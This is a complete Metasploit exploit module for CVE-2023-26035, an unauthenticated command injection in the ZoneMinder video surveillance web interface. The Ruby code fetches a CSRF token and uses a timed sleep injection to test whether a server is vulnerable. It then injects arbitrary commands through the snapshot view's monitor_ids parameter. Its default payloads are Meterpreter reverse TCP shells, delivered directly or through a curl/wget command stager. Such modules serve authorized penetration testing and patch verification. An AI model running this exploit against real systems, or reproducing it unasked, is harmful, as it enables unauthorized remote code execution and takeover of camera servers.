ZoneMinder Snapshots Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
#  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ZoneMinder Snapshots Command Injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
in zoneminder that can be exploited by appending a command  
to the "create monitor ids[]"-action of the snapshot view.  
Affected versions: < 1.36.33, < 1.37.33  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'UnblvR', # Discovery  
'whotwagner' # Metasploit Module  
],  
'References' => [  
[ 'CVE', '2023-26035' ],  
[ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']  
],  
'Privileged' => false,  
'Platform' => ['linux', 'unix'],  
'Targets' => [  
[  
'nix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',  
'FETCH_WRITABLE_DIR' => '/tmp'  
}  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
],  
],  
'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-02-24',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET'  
)  
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?  
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200  
  
unless res.body.include?('ZoneMinder')  
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')  
end  
  
csrf_magic = get_csrf_magic(res)  
# This check executes a sleep-command and checks the response-time  
sleep_time = rand(5..10)  
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"  
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic  
res, elapsed_time = Rex::Stopwatch.elapsed_time do  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'data' => data.to_s,  
'keep_cookies' => true  
)  
end  
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res  
  
print_status("Elapsed time: #{elapsed_time} seconds.")  
if sleep_time < elapsed_time  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe('Target is not vulnerable')  
end  
  
def execute_command(cmd, _opts = {})  
command = Rex::Text.uri_encode(cmd)  
print_status('Sending payload')  
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"  
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'data' => data.to_s  
)  
print_good('Payload sent')  
end  
  
def exploit  
# get magic csrf-token  
print_status('Fetching CSRF Token')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET'  
)  
  
if res && res.code == 200  
# parse token  
@csrf_magic = get_csrf_magic(res)  
unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/  
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')  
end  
else  
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')  
end  
print_good("Got Token: #{@csrf_magic}")  
# send payload  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
private  
  
def get_csrf_magic(res)  
return if res.nil?  
  
res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text  
end  
end  
`